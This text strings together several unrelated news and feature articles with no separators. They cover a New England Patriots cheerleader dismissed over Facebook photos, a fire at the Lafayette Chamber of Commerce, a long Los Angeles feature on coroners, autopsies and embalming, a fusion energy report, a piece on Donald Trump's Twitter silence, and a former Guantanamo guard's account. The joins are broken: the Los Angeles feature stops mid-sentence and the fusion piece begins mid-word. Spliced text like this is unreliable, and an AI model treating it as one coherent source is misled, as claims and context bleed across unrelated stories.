When, 18, joined the New England Patriots cheerleading squad at the beginning of the season she was thrilled with the opportunity to make numerous community service appearances with the team. The pom pom teen was happily strutting her stuff until she got the boot for activities that were apparently unacceptable to team ownersand
As all teens seem inclined to do, Ms Davis published some photos on her Facebook page that showed a drunk and defenseless male being defaced with a Sharpie marker. Davis and her partner in crime scrawled offensive words and drawings all over the torso, arms and face of a seemingly comatose young man
The rambling script included references to "penis", "I'm a Jew", and included drawings of swastikas. Several of the drawings were graphic, depictions of the man's nether region accessories.
The former Foxboro High School cheerleader is the youngest to ever make the NFL cheering squad. A tidbit from her profile on the team website reports that her favorite song is Wasted by Carrie Underwood.
New England Patriots spokesman Stacey James confirmed, "She is no longer with the squad."
Check out photos below, including the 2008 New England Patriots Cheerleading Squad.
To see some of the photos that caused the uproar CLICK HERE.Midnight blaze guts Lafayette Chamber of Commerce
A large fire broke out at a building housing the Lafayette Chamber of Commerce on Wednesday night, completely destroying the structure and an adjoining Italian restaurant and causing more than $1 million in damage, fire officials said.
The buildings were “fully involved” when over 30 firefighters arrived on scene at 11:58 p.m. at 100 Lafayette Circle, said Fire Marshal Robert Marshall of the Contra Costa County Fire Protection District.
The Chamber of Commerce and La Finestra Ristorante were completely engulfed in flames and “a large portion of the structure collapsed on itself,” Marshall added.
Firefighters brought the conflagration under control in about 90 minutes.
A large fire in Lafayette late Wednesday gutted the Chamber of Commerce and an adjoining Italian restaurant, officials said. A large fire in Lafayette late Wednesday gutted the Chamber of Commerce and an adjoining Italian restaurant, officials said. Photo: KTVU / Julie Haener Photo: KTVU / Julie Haener Image 1 of / 7 Caption Close Midnight blaze guts Lafayette Chamber of Commerce 1 / 7 Back to Gallery
There were no reports of injuries. The total cost of damage was estimated at $1.1 million, though Marshall said he expects the cost to go higher.
Residents of adjacent apartment buildings were evacuated for about an hour.
“That was primarily because the restaurant had some heaters that ran on propane that were outside of the structure, quite a few of them were popping off,” Marshall said. “When that was going on, we had a concern that the fire might spread.”
Officials were also concerned about the radiant heat and that the fire might spread to nearby vegetation.
The cause of the fire is under investigation, Marshall said.
Sarah Ravani is a San Francisco Chronicle staff writer. Email: [email protected] Twitter: @SarRavaniYou’ve made some bargains. We all have. Maybe you allow yourself a single Tommy’s burger every six months. Maybe you’ve given up meat altogether, or red meat anyway, most of the time. Maybe you’re serious about this and you’ve given up all refined grains and any processed anything; the extra buck a pound to buy organic seems a reasonable sacrifice. You’ve given up booze, cigarettes, pills, cocaine, sex with strangers. You tell yourself you don’t miss them. You wear sunscreen and eat flaxseeds. You go to the gym on breezy Sundays when you’d rather lie around. You go to yoga classes even though the chanting makes you want the world to end. You sold your motorcycle years ago. You cross at the light and look both ways.
No matter how many sacrifices you make to Lady Death, no matter how rich the offerings you lay before her altar, she will know where to find you. When she comes, she will hold you tight, and she will never let you go. Don’t be frightened. She takes us all.
Even here in Los Angeles, in the glow of so much newness, she takes 60,000 of us each year.1 That’s 164 each day. Imagine them all lying side by side, napping forever without a snore. The sun goes down and rises again, and 164 more are sleeping beside them, resting cheeks on shoulders, ears on arms. One day you will join their still parade. Chances are good—about one in four in L.A. County—that death will grab you by the heart. Coronary disease is by far our leading cause of mortality, as it is in the rest of the country. L.A.’s specific inequities, though, travel as deeply through death as they do through life. In this and other ways, death maps life. If you’re an African American or a Latino male and you die before 75, you’re more likely to die of homicide than any other cause. The same goes if you’re of any race or either gender and you live in South L.A. If you’re white or live west of La Cienega and it’s not your ticker that gets you, it will most likely be an overdose, or a car crash, or lung cancer,2 or your own hand—murder is not even in the running.
Whoever you are and wherever you live, you will go. You will not be you anymore. Not exactly. You will be a corpse, a cadaver, a decedent, a “loved one.” You will be remains. The death industry employs more euphemisms than politicians do.3 Someone will find what’s left of you. A child, spouse, or parent. A nurse or passerby. Whoever it is will call for help. At home, at work, or in the street, he or she will dial 911. In a hospital, hospice, or nursing home, someone will call your doctor, who will check one last time for vital signs, declare you dead, and fill out the proper forms. A nurse will remove your clothes and close your eyes. (Not just for modesty’s sake: Rigor mortis hits the eyelids fast.) He or she will tie a tag bearing your name, which you can no longer speak, onto one of your toes, cover you with a plastic shroud, and wheel you to an elevator and thence to the morgue. In most hospitals it is in the basement. You will be rolled from the gurney into a refrigerated drawer. The door will close behind you. It will be dark and cold, but you won’t care.
FOR THE DISMAL TRADE: Autopsy tools to saw, pry, slice, and tweeze the slippery nubs that have stayed hidden all your life
Power Words
So here you are, dead and alone. Chances are you didn’t want this, but your wishes were ignored. Whatever happens to the part of you that you recognize as somehow quintessentially you (call it soul, self, spirit, spark), the other part isn’t finished yet—the fleshly part, the limbs and guts that ached and pleased you in so many ways, the meaty bits that you vainly or grudgingly dragged around for all those years. That piece is still of interest to the bureaucrats. It is still a potential source of profit. In your absence its journey is just beginning.
The path forks before it. Which way it goes will be determined by the cause of your demise. All the state wants is a death certificate: Think of it as a letter from your doctor excusing you from paying income tax forever. The county, though, wants to know why you died and if there might be a reason to push the cops and the courts and the jails into motion. The coroner holds the key to all that machinery. The key itself is what you once called you. If you have not been under the care of a physician for six months, if you die during surgery or as a result of injuries sustained in an accident or an assault (self-inflicted or otherwise), or if there’s any suspicion that your death might be something other than “natural,” your next stop will be the Los Angeles County Department of Coroner—which is, assistant chief coroner Ed Winter 4 tells me more than once, the busiest such department in the country.
It investigates 18,000 deaths a year, dispatching 36 investigators 5 to the far edges of its jurisdiction—from Lancaster to Long Beach and West Covina to Catalina Island, from oil tankers and cruise ships anchored off the coast to jets on the runway at LAX. One of those investigators will come to you. He or she (let’s go with she, because more often these days the investigators are women) will search your pockets for ID. If you are at home, she will nose around for medical records. She will interview relatives, witnesses to your final moments, and the police at the scene. She will photograph and examine you. You’ve seen this part on TV. When she has finished, she and a driver will load you into the rear of a white county van and take you on one last drive down one last freeway, through one last Sig-Alert, off that final off-ramp onto Mission Road. At the corner of Marengo they will pull into a driveway at the side of an elegant old brick building. They will open the back of the van, roll you out, and take you inside, where you will wait quietly in the coroner’s fridge until one of 25 overburdened pathologists is ready to examine you.
Winter, a 61-year-old goateed ex-cop with a cranky sort of charm, squints and counts the day’s cases on his computer monitor. It’s 9:30 in the morning. “Since eight o’clock, I’ve gotten one, two, three, four, five more,” he says. “Got an undetermined, a child. Got an accident, 63-year-old male. Another accident: unknown male Caucasian, 30 to 40, found unresponsive by passerby at a construction site. And an unknown male found floating in the ocean dressed in T-shirt and jeans, Pacific Coast Highway.” He stops reading and looks up. “We’re frigging always busy.”
It’s not just the dead. The telephone rings, and it’s a reporter. He has questions about Brittany Murphy’s husband.6 Winter puts the call on speakerphone and rolls his eyes. When Winter and I first met a few weeks earlier, he pushed a sheet of paper across his desk. It was an inventory of celebrity deaths the coroner’s office had investigated during the previous year. Michael Jackson’s name was listed twice.
In the lobby Winter introduces me to Lieutenant David Smith, a genial, dapper man of 46 with a white handlebar mustache, who supervises the department’s identification and notification division. Right now Smith’s mind is on other things. “Part of the issue I’m dealing with here,” he tells me in the elevator, “is extremely overweight bodies that have to be cremated.” By state law, if nobody picks you up after 30 days, you will be incinerated.7 In bureaucratese this is called “county disposition,” or “county dispo” for short. Smith located a private crematorium willing to kindle his uncollected dead, but it wouldn’t take bodies over 350 pounds. He found a mortuary in Orange County that wanted seven bucks for every pound over 350, but even it topped off at 400 pounds. “I had one the other day who was 710 pounds,” Smith says. The problem seems to have been solved: Odd Fellows Cemetery in Boyle Heights specializes in the incineration of the truly obese and charges a flat rate of one dollar a pound.
Again, death maps life. County budgets are tight, and more families can’t afford funerals. L.A. County will charge your next of kin $352 to pick up your ashes (cremains, if you prefer), which is about what Forest Lawn wants just to chauffeur you from your deathbed to its oven door. So more families than ever have to settle for the grim anonymity of “county dispo.”
Smith’s main responsibility is to identify you and notify your family that you have died. If the investigator sent out to the scene was unable to make a positive ID, you are for the moment a John or Jane Doe. These categories, Smith says, are further subdivided into “soft Does” and “hard Does.” You are a soft Doe if you were found locked in your own apartment, for instance, and the investigator is pretty sure you are you—but you are too decomposed for anyone to be certain. Your fingers are too far gone to yield prints, but Smith’s people8 should be able to confirm your identity through dental records or X rays. You are a hard Doe if you were discovered in an alley or in the trunk of a car and you didn’t have your wallet and there was no one around who knew that you were you. Then the only real options are fingerprint databases and DNA, and the latter is likely to be on record only if you’ve been convicted of a felony.
Once they’ve pinned a name on you, Smith and two other investigators will start looking for your family. If they turn up an address, they’ll send a letter out. If they find a phone number, they’ll call. “We notified somebody through MySpace one time,” Smith says. The phone calls can be tricky. Some people laugh on hearing the news. Some are apathetic. Some start screaming. “If the phone just drops, we call 911,” Smith says. “We don’t want another case.” Sometimes the next of kin are in denial. “You have to use the power words: ‘They’re dead.’ ”
Your family might demand to come in and see you one last time. This generally means they can’t afford a funeral and want a chance to say good-bye. County rules forbid them from viewing you in the flesh, so the best Smith can do is show them a photo. “I’m good with Photoshop,” he says, “so if the face looks really bad, I’ll try to remove as much blood as possible, take the bullet out of the head. Decomposed bodies I can’t do much with.”
If your family members really miss you, Smith says, they will talk to your photo as if you could hear them. Sometimes they will pet it, as if you could still feel their fingers on your face.
All the King’s Horses
If you become a coroner’s case, you have a decent shot at being eviscerated within a few days of your death: Pathologists employed by the coroner perform about 7,800 autopsies a year, though many of those are partial autopsies, in which the examiner inspects only the specific organs that catch his or her interest. In the 1960s, autopsies were performed on more than half the patients who exited the hospital through the morgue. That number has since fallen to less than 10 percent. Insurance companies loathe spending money on the living and are even stingier with the dead. This has opened up a market niche large enough for Vidal Herrera to park his Hummer in. Perhaps you’ve seen it. It’s white and emblazoned on both sides with the name of his company: 1-800-AUTOPSY.
Herrera is 58 and stocky, with a trim white beard and a round, lively face. The guys in the neighborhood call him “Muerto.” Today, standing in the courtyard of his Valley Boulevard compound in El Sereno, he is wearing a T-shirt that says What happens in the morgue stays in the morgue. In addition to performing complete autopsies for $3,000 a pop and harvesting and transporting donated organs, Herrera rents mortuary equipment to the studios for film and TV shoots and has a side business producing custom “coffin couches”—cut-down caskets transformed into sofas. He shows me one in silver and black with a Raiders logo embroidered on a cushion.
Despite his nickname, Herrera’s vivacity is uncontainable. He takes me to his office and tells me about his years with the coroner’s department, where he worked as a morgue attendant, a photographer, an autopsy assistant, and finally for five years as an investigator. He talks about a woman in Compton eaten by her cats, about the time he retrieved a “floater” from a drainage canal in Lomita and his clothes filled with maggots, and about his last day on the job in 1984, when he ruptured three disks in his spine trying to lift an obese pastry chef who had shot herself. “She reminded me of a gorilla,” he says, and recounts his subsequent struggles with depression and the revelation that he suffered from post-traumatic stress disorder. Until a psychiatrist told him otherwise, he says, he had thought that his recurring nightmares of mutilated corpses were normal. On one wall of his office, among Halloween props and Grateful Dead posters, is a framed caricature of Herrera grinning in black surgical scrubs. A speech bubble above his head reads “A chance to slash is a chance for cash.”
If your survivors have suspicions about the cause of your death and can afford to put their minds at ease, they can call Herrera or one of his eager competitors. If they do, you will end up like the 60-year-old woman now lying naked on Herrera’s stainless-steel autopsy table. She is short and overweight and hasn’t breathed in five days. Her arms and lower legs are tanned a yellowish brown, but her belly, breasts, and thighs are a startling white because all of her blood has drained to her back. Her toenails are still crimson with polish. Herrera dons blue latex gloves and a long, black rubber butcher’s apron for the occasion, but he’s there only to watch. His autopsy assistant, Sean Sadler, will do the honors, along with a pathologist who asks me not to use his name. I will call him Dr. Gray.
Sadler begins with a Y-incision. Using a scalpel, he slices down from each shoulder to the sternum and from there to just above the black snare of hair beneath her navel. The patient does not flinch, not even when Sadler peels back the skin of her chest with a retractor, causing her breasts to loll on her biceps. He cuts through her ribs with pruning shears, pausing to observe the softness of her bones—osteoporosis, he suggests—and the fractures left by whoever had attempted CPR. He trims away the heavy yellow fat around her heart, slices through the arteries and veins, and hands the once vital organ to Dr. Gray, who weighs and dissects it on a plastic cutting board. The lungs come out next. Sadler works the scalpel under the patient’s chin to loosen the organs of her neck: the thyroid and parathyroid glands, the esophagus and trachea. He goes organ by organ, handing each to Dr. Gray, who slices and studies them, then drops a sliver of each into a jar of diluted formaldehyde. He traps another sliver in a plastic cassette for the toxicologist and tosses what is left into the “gut bucket”—a small, wheeled trash can at his feet.
CLOSE YOUR EYES: With a kit (opposite) he keeps locked in his Lincoln, Kenneth Schenk will make you look almost alive
In the end, when her torso has been reduced to what is called a “canoe,” and her skullcap rocks on the table beside her right shoulder, and a single drop of blood-brown water hangs like a tear beneath her eye, Dr. Gray decides it was her heart that killed her, although she also had pneumonia and a terrible back injury—four inches of spine swollen and saturated with blood—that must have kept her in constant and excruciating pain. He shows me her butterflied heart. The two halves of her mitral valve don’t quite match, which means more to him than it does to me.
If it were you instead of her, you would not recognize yourself. The yellowy red mess inside of you would seem to have little to do with even your most intimate understanding of yourself. You would be startled by the pleasant purplish hue of your liver, the graceful drape of your small intestines, the stubborn white ball of your skull. The smells you release would surprise you, as would the awful groaning crack your spine makes when Sadler pries the vertebrae apart to get at the tender cord. But since the worst indignity—your death—has already occurred, do you think you’d really mind?
*****
A Happy Life
If your death is sufficiently unremarkable that the coroner has no designs on your remains, you will likely avoid the invasive curiosity of the county and go straight to the funeral parlor that will handle what are politely called “the arrangements.” If the funeral director has the staff on hand, he will send a man with a van to fetch you, but chances are good that he will subcontract the task to someone like Angelo Patrick.
Patrick runs Patco Transportation Services. When I meet him at a Denny’s in Hollywood, he is wearing a black suit and tie and a flawlessly white shirt with two golden pens protruding from the pocket. There is a somber intensity to him that is barely disguised by the softness of his voice or the formality of his speech and bearing. Patrick grew up in South Carolina and earned a degree in biology, but in 1971, there were not many jobs in the sciences for a black man in the South. Two years later he moved to L.A. and enrolled in mortuary school.
In the decades since Patrick graduated, the “death care” business, once known as the “dismal trade,” has changed sharply. Beginning in the late 1980s, the industry underwent a massive consolidation. Racing to corner the market before baby boomers started dying off, a few giant firms—the largest of them being Houston-based Services Corporation International—began buying up hundreds of independent mortuaries and cemeteries. Usually the conglomerate kept the individual locations’ original names but combined their operations—and jacked up prices.9 The traditionally American send-off—a viewing at the funeral home, followed by services at the church and a motorcade to the cemetery—gave way to the corporate all-in-one. The big cemeteries now have mortuaries, chapels, and even florists on-site, which cuts out the old side industries. So-called first-call services like Patco are among the few subsidiary contractors that have survived the shift.
Technically, Patrick’s job is fairly simple. The mortuary calls him and tells him where you are. He drives to the address, knocks on the door, rolls you into a sheet, ties off the ends, hoists you onto a gurney, wheels you to the van, drops you at the mortuary, and waits for his next call. “There’s never any funny stuff,” he says. “The dead, they don’t say anything.”
His work, however, does have its complications. First, there is “decomp.” Patrick can tell it will be an issue before he even parks, when he sees the police officers standing at the far end of the sidewalk smoking cigars to cover the smell. Aside from the odors, there are fluids to deal with and parts of you that stain his clothes. Stairs can be a problem. You don’t get any lighter when you die. If you’re a pack rat or a hoarder, you will make Patrick’s task still more difficult. You might have too much junk around for him to wheel you out, which means he’ll have to carry you. Sometimes he can’t find the dead for all the trash that crowds their homes.
Then there are the living. Patrick remembers one large tattooed fellow who did not want to part with his mother’s remains. “He had just come out of prison. He didn’t want Mom to be dead yet. It took six guys, his uncles, to hold him down on the floor while I took the body and ran—literally ran.” Another man threatened Patrick with a hammer after Patrick had covered his wife’s face. “She’s going to suffocate,” the man said. Patrick uncovered it.
“You get them in the bathtub, on the toilet, in the bed, in the backyard. Everywhere people go, we pick them up,” says Patrick, leaning over his eggs and grits, which he does not touch. “From the littlest person to the most important person. Musicians, Indian chiefs, whoever. I pick them up.”
Patrick was raised a Baptist. When he was 12, he watched his father die of a heart attack and found he could no longer believe in the God who had taken his father from him. He married an observant Jehovah’s Witness and became one, too. Religion, he says, “offered the possibility that I might one day see my father again.” His work has eroded that faith. Patrick is 60 now and no longer married, and he doesn’t bother himself with God. “When people die, I don’t know where they go, just like I don’t know where we come from,” he says. “I see a lady die at 115. I see babies die at three months—I can hold the baby in my hand. I see kids die at 3, 4 years old. I see teenagers, rich people, poor people, white people, black people. Everybody dies.”
The only ones that disturb him, he says, are the lonely ones, the ones he finds decomposing in their living rooms, surrounded by empty bottles with the television still on. He remembers a woman he found lying on her kitchen floor. She had been there for two weeks even though her daughter lived just four doors down.10
Patrick smiles a tight, sad smile. “It’s like the Epicurean philosophers say, ‘Eat, drink, and be merry, for tomorrow we die.’ There’s a lot of truth to that. How much of your life are you willing to be unhappy? How much of your life are you willing to give up? What is a happy life?”
*****
Euphoria
Los Angeles holds a special place in the history of death. Until relatively recently, Europeans “were as familiar with the dead as they were familiarized with the idea of their own death,” writes the French historian Philippe Ariès. They painted decomposing cadavers in manuscripts and carved them on church walls. Starting in the high Middle Ages, though, Ariès argues, Western attitudes began to change: “Death, so omnipresent in the past that it was familiar, would be effaced…would become shameful and forbidden.” By the middle of the 20th century, the British anthropologist Geoffrey Gorer was writing about “the pornography of death,” observing that “natural processes of corruption and decay have become disgusting”—just as sex had been rendered obscene by the Victorians. The dead had become an affront to the living.11
Neither Gorer nor Ariès knew quite what to make of the United States, which in many ways followed the general Western trend, banishing decay from polite conversation. At the same time, Americans ritualize death in a manner extraordinary to Europeans. Until a few years ago, even a basic working-class American funeral—from the open-casket display of the chemically preserved and cosmetically improved decedent to the long, slow procession of cars to the graveside—matched a level of pomp reserved across the Atlantic only for the most celebrated dead.
Southern California, home to the theme-park necropolis Forest Lawn, came to represent the apotheosis of America’s disturbingly “euphoric” approach to mortality, to borrow Ariès’s term. Angelenos not only failed to tastefully ignore death, they did everything they could to render it sunny, cheerful, lifelike. To Evelyn Waugh, who parodied Forest Lawn in his 1948 novel The Loved One, such vulgarity was symptomatic of the “endless infancy” of West Coast culture. To the journalist Jessica Mitford, the “American way of death” was a crude product of capitalist manipulation: We had elaborate funerals because the funeral industry was able to charge us more for them; Forest Lawn’s kitsch was just a sophisticated strategy for lubricating the checkbooks of the grieved.
No aspect of American funereal ritual has been more consistently alarming to foreign observers than embalming, which is practiced nowhere else in the world with the near universality that it achieved in North America. Mitford characterized embalming as expensive quackery, a recently revived pagan practice without roots in the Judeo-Christian tradition. The funeral industry’s insistence on its hygienic necessity, she argued, lacked any scientific or medical foundation. Waugh was better humored about the practice, if no less horrified at the notion of being, as he put it, “pickled in formaldehyde and painted like a whore, / Shrimp-pink incorruptible, not lost or gone before.”
To Kenneth Schenk, however, embalming is an art, perhaps soon to be lost. Schenk could not be more different from Mr. Joyboy, Waugh’s priggish, pink-eyed chief embalmer. “Through the whole sex-drugs-and-rock-and-roll era I was known as the rebel embalmer,” he says with more than a hint of pride. Schenk is a trade embalmer, which means he freelances for the few remaining independent mortuaries. He is 70, and his hair stops well short of his collar, but back before it turned its current lustrous white, he wore it to the middle of his back. He came to L.A. from Florida in 1960 and did his apprenticeship with the legendary Jack Lowry, who famously embalmed Jean Harlow and who, Schenk says, “mixed his own fluids at Pierce Bros. down in the basement.”
In those days L.A. still had a “Mortuary Row”—a string of grand funeral homes with high-ceilinged lobbies and marble staircases stretching along Washington Boulevard. Sitting in a booth at the Pantry downtown, Schenk waxes nostalgic about that now invisible geography, long since sliced in half by the Harbor Freeway and transformed into a jumble of repair shops and warehouses. Spearing a bite of coleslaw with Russian dressing, he tells me exactly what he will do to you if you fall into his able, practiced hands.
You will be there waiting for him when he arrives in the mortuary’s prep room.12 He will put on a paper gown and latex gloves. He will wash you and position your limbs. He’ll insert small, nubbed plastic disks beneath your eyelids to make sure that they stay shut. He will suture your lips closed, and if they don’t stay shut, he will Superglue them.
When he’s ready, Schenk will select his fluids, taking into account the time that has passed since your death (the longer it has been, the stronger the chemicals), the cause of your death (some medications interact poorly with embalming fluid), and the color of your skin (“Formaldehyde,” he says, “will turn a white person a nice shade of green”). He will choose a spot for his incision, usually the carotid or femoral artery. He will lift the artery with a steel hook and insert a plastic injection tube attached to an embalming machine. Another tube will go into the corresponding vein. Schenk will turn on the machine, adjusting for pressure and flow, and it will pump preservative fluid in through your arteries, pushing your blood out through your veins, into the sink, and down the drain.
The process lasts about an hour, depending on your size and the condition of your circulatory system.13Then Schenk will poke a pointed, hollow instrument called a trocar through your abdominal wall. It will act as a sort of siphon, sucking gases and liquids from your intestines, stomach, bladder, heart, and lungs. “It’s not for the weak of heart,” Schenk says. Once you’ve been sufficiently cleaned out, he will inject more embalming fluid directly into your organs.
If you’ve been autopsied, all this will take a little longer and cost a little more. “Basically the arterial system is gone,” Schenk says, so he will have to inject fluid directly into each of your limbs and both sides of your brain. Then he will sew you up “nice and tight.” All that’s left is makeup, hairstyling, perhaps a touch of the “restorative arts” if disease or injuries have damaged your features. An eyelid, a nose, even an ear can be sculpted out of beeswax.
Not long ago Schenk got a call from a mortuary offering him a job everyone else had refused. “It was a gal that had been murdered and put in the trunk of a car and not found for 12 days, and it was the heat of the summer.” Schenk demurred, but the funeral director persisted. “Miracles can be done,” Schenk says. “We preserved this gal and made her viewable. The family was almost ecstatic.”
Once, he says, “during the hippie era,” he embalmed a fallen rock climber whose long hair, matted with blood, had been shaved and stuffed into a bag. Schenk washed out the blood and painstakingly laid the hair out to dry. One at a time, he matched the strands by length, texture, and curl and, as patient as his silent client, reconstructed the climber’s coiffure. “It takes a guy that has an artist’s eye,” says Schenk, beaming. “Not everyone can do it.”
*****
1,550 Degrees
Maybe you’re not fond of worms or maybe you’re claustrophobic. Perhaps you’ve read Jim Crace’s novel Being Dead, which lovingly chronicles the decomposition of a murdered couple, or the chapter in Mary Roach’s Stiff about the stages of decay, from elementary autolysis to full-blown putrefaction (when you become “soup”). Maybe your imagination suffices to make you prefer quick, purifying flame. Or perhaps you’d just rather be portable: No one stays put for long these days, and urns pack more easily than caskets. Maybe you’re Buddhist and believe the flames will help you cast aside the now useless shell of this life so that you can move unencumbered to the next. Or perhaps the thought of being scattered to the breeze feels more like freedom than any other image of eternal rest you can conjure.
Whatever your reasons, you wouldn’t be alone. According to a funeral industry data tracker, inaptly named Vital Statistic Analyses, more than half of Californians were cremated in 2009. In Greater Los Angeles |
initely worth studying," Wurden says.
Even Ned Sauthoff, ITER's U.S. project manager, is cheering for smaller fusion researchers.
"I would love to see that fusion can be done so economically, and so I hope they succeed," Sauthoff says. "ITER is the way that you go if you really want high confidence. But you have to pay more for high confidence."
The ITER facility won't be complete until 2017. Best case, ITER's first net gain fusion reaction would take place sometime after 2019.
Another giant fusion project, the National Ignition Facility at California's Lawrence Livermore Laboratory, is using the world's largest lasers to attempt a fusion breakthrough by 2012 at a cost of about $5 billion.
Can world's largest laser zap our energy woes?
"ITER and NIF are expensive and they take lots of energy," says Wurden. "We think there is a cheaper solution between the two."
"Basically, glorified jackhammers are cheaper than lasers," Laberge says with a laugh.
General Fusion aims to achieve net gain fusion experimentally in 2012. By 2018, it plans to complete a power plant prototype that would generate 100 megawatts, enough to power about 100,000 homes.
"We would like to be in a commercial stage of being able to take orders and build power plants by the end of the decade," said Michael Delage, General Fusion VP of business development.
Fusion could change everything -- or not
Could fusion change the way powerful governments behave on the world stage?
Cutting dependence on foreign oil could prompt nations to shift attention away from oil-rich regions. The U.S. military already spends at least $50 billion yearly on "expenditures related to oil," according to the American Security Project, a bipartisan Washington think tank.
The fuel for fusion reactors is relatively cheap and accessible. Fusion reactors would run on fuel made up of two types of hydrogen: deuterium, which can be extracted from sea water, and tritium, which could be produced by the fusion reactors themselves.
If fusion sounds familiar it's because science has been promising it for decades.
A historic fusion breakthrough is "really close," Wurden says, but developing a successful commercial fusion power plant is further off.
"So, if somebody tells you they're going to solve global warming with nuclear fusion three years from now just laugh them out of the street. OK? It's not going to happen."
"Fusion physicists are probably some of the worst people in the world at predicting the future in terms of how easy it's going to be for the next step," says Mike Dunne, Livermore's program director of laser fusion energy.
Fusion differs from conventional nuclear power because it makes energy by smashing atoms together to create new atoms instead of splitting them apart.
This year, Japan's nuclear plant crisis after an earthquake and tsunami showed the hazards posed by deadly radioactive fuel rods, which eventually must be disposed of safely.
In fusion, there is no threat of a meltdown and no waste from the fuel. Although the reactor and its components will become radioactive after years of exposure to the process, this radioactivity disappears after a few decades. Conventional nuclear fuel rods need thousands of years to lose radioactivity.
But anti-nuclear groups have expressed concern about whether fusion research opens a door to nuclear weapons proliferation. Tritium can be used to boost the power of nuclear weapons. Fusion research, they say, could contribute to development of a so-called pure fusion weapon.
"The government did look at this in some detail," said Dunne, who added that there are always fringe groups who are suspicious of "nefarious activities" when it comes to nuclear research.
Washington is comfortable that this technology provides no opportunities "for nuclear proliferation or advancement of other country's weapons capability," said Dunne. The development of commercial fusion, he says, has no defense applications.
Giant sucking sound?
The current budget-slashing climate on Capitol Hill doesn't bode well for fusion research. The 2012 federal budget is expected to provide about $400 million total.
But now that Congress is taking a hard look at budget cuts, lawmakers want more than ever to see encouraging results. The pressure is on to either produce results or re-think spending priorities.
With less research money available, will high-profile projects like ITER and NIF snatch government money from smaller private firms like Laberge's?
An intensified scramble for cash could hurt other small players, such as Seattle-based Helion Energy and a secretive outfit with ties to the University of California called TriAlpha Energy.
"I hope that ITER and NIF -- these two giant elephants in the room -- won't absorb all the resources in the world just to do fusion a particular way," says Wurden.
Whatever the case, China and India's huge populations will need more and more energy each year and climatologists fear the worst from continued reliance on fossil fuels.
"We're burning the candle at both ends," Laberge says. "The standard of living is increasing rapidly due to technology and we're burning resources faster than they're being replenished. Sooner or later it's all going to come crashing down."
If that scenario comes to pass, will science be ready to tackle the challenge?
CNN's Curt Merrill contributed to this report.(CNN) — Donald Trump is a big fan of Twitter. He sees it as a direct pipeline to supporters, an end run on the so-called "fake news" media. Which makes any extended period of time without a tweet from the President worth noting. And we are in the midst of such a drought right now.
The last time Trump sent out a tweet was 8:17 a.m. on Wednesday. It said this : "Getting ready to leave for Cincinnati, in the GREAT STATE of OHIO, to meet with ObamaCare victims and talk Healthcare & also Infrastructure!"
Between that moment and the time of this posting, roughly 37 hours have passed. That, according to calculations made by the one and only Philip Bump of the Washington Post, is the fifth-longest Twitter outage for Trump since he announced his candidacy in June 2015. To pass the fourth longest drought, Trump will need to stay away from Twitter for 2,312 minutes -- 38 total hours, or until 10:17 p.m. Thursday -- which looks doable. To break his all-time longest tweet drought, according to Bump, Trump would need to not tweet until 6:14 a.m. tomorrow.
What's fascinating about the past droughts is that they almost always have corresponded with slow news moments. Trump's longest break from Twitter, for example, came over the 2016 Thanksgiving Day weekend -- soon after he had been elected. The second longest was earlier that same month, the weekend after the election when Trump was, almost certainly, worn down from the just-concluded campaign.
This last 37 hours is not at all like those past Trump Twitter deserts. The last day and a half has seen not only the release of former FBI Director James Comey's written testimony Wednesday documenting his relationship with the President but also Comey's hugely high-profile testimony in front of the Senate Intelligence Committee on Thursday
If ever there was a time when you might expect Trump to take phone in hand and offer his own counter-narrative, this past 37 hours was it. And yet, nothing.
Theories abound to explain it.
The most common one is that someone took Trump's phone away, ensuring that he simply lacked the ability to tweet. I doubt it. He's the President of the United States. He's made clear -- in the face of much criticism -- that he isn't going to stop tweeting. I'm not sure anyone is in a position to simply tell the President to stop doing something and have him actually listen.
Then there's the argument that Trump's silence suggests he has now finally been made aware of the political -- and legal -- peril he is in, and that by tweeting he makes things worse, not better. Again, count me skeptical because Trump has never shied away from tweeting amid dicey legal and political circumstances before. (Remember that he called the Russia investigation the " single greatest witch hunt of a politician in American history! " in the immediate aftermath of Bob Mueller's appointment as special counsel.)
Or maybe Trump's staff, as they had hoped to do, successfully distracted the President over these past 37 hours -- keeping him from thinking too much, and therefore tweeting too much about the situation. But how is that even possible given that we know Trump is an absolutely avid news consumer and there has been so much (and so much bad) Trump news over that period of time?
The short answer is we don't know why Trump hasn't tweeted since 8:17 a.m. Wednesday. But with every passing minute of Trump Twitter silence, he edges closer to his own personal best (worst?).
One other thing we know: Silence isn't Trump's natural state. So when the drought breaks -- and it will break -- look out.Story highlights Former U.S. military police officer Brandon Neely was deployed to Guantanamo Bay's Camp X-Ray detention facitily
Neely says he feels ashamed of his treatment of detainees and unease about the facility's purpose
He describes prisoners being subjected to violence by fellow guards
"We were told that they were all guilty... that these were the worst of the worst," Brandon Neely said about the detainees who were arriving at Guantanamo Bay, Cuba.
"We were told that these guys, all of them, had either helped plan 9/11 or were caught red handed on the battlefield, weapon in hand, fighting American soldiers... These are the people that would kill you in a heartbeat if you turn your back on them."
In June 2000, Specialist Neely, now 31, enlisted for five years as a military police officer. He left later that summer for Fort Leonard Wood, Missouri for training and was assigned to Fort Hood, Texas upon graduating. In early January 2002, Neely boarded a plane to Guantanamo Bay, where he would be stationed for the next six months. He had volunteered for the deployment not knowing what it was or where it would take him.
"I was asleep in my barracks one morning. They knocked on my door and... told me there were two deployments that were going to happen in the deployment area."
Neely agreed to go on one and then went out with his friends later that night. The next day, he was informed that he would be stationed at Guantanamo. "I was kind of mad that I was going to go to Guantanamo instead of the front lines of the war," Neely recalled.
His superiors told him he would be stationed a detention facility, Neely said. "They had decided from the start that it was different from an enemy prison of war camp... We were told in the first couple of minutes at Gitmo that this was a detention facility and the Geneva Conventions would not be in effect... There was no army manual on this, no standard operation procedure."
Neely did not receive any special or additional training for working at Guantanamo, he said. He, and the rest of the company (about 110 people), arrived just a few days before the first detainees did. Contractors "were still welding the cells at the time," he said.
As a military policeman, Neely was not involved in interrogations. The company's assignments included escorting duties -- taking detainees to the showers or a medical examination and filling the water buckets in the cells.
"At Camp X-Ray you would have to take a water hose and put water in their buckets... They had two buckets, one for water and one to use as the restroom," Neely said. Personnel could also be assigned to check identifications or to the Internal Reaction Force team. The jobs rotated on a daily basis for the most part.
On January 11, the prisoners began to arrive. "We were told those [detainees] were the top guys. This is the group that they had to get out of Afghanistan because they were literally the worst of the worst," Neely said. He was not sure what to expect.
"I didn't really understand what a terrorist was going to look like. I know that sounds funny and really naive. I was kind of shocked that a lot of them were very little and malnourished." Neely remembered commenting at the time: "If these are the world's most dangerous men, we don't have very much to worry about."
The detainees were wearing blacked out goggles, leg shackles, three-piece suits and ear muffs. Some had gloves on, Neely said.
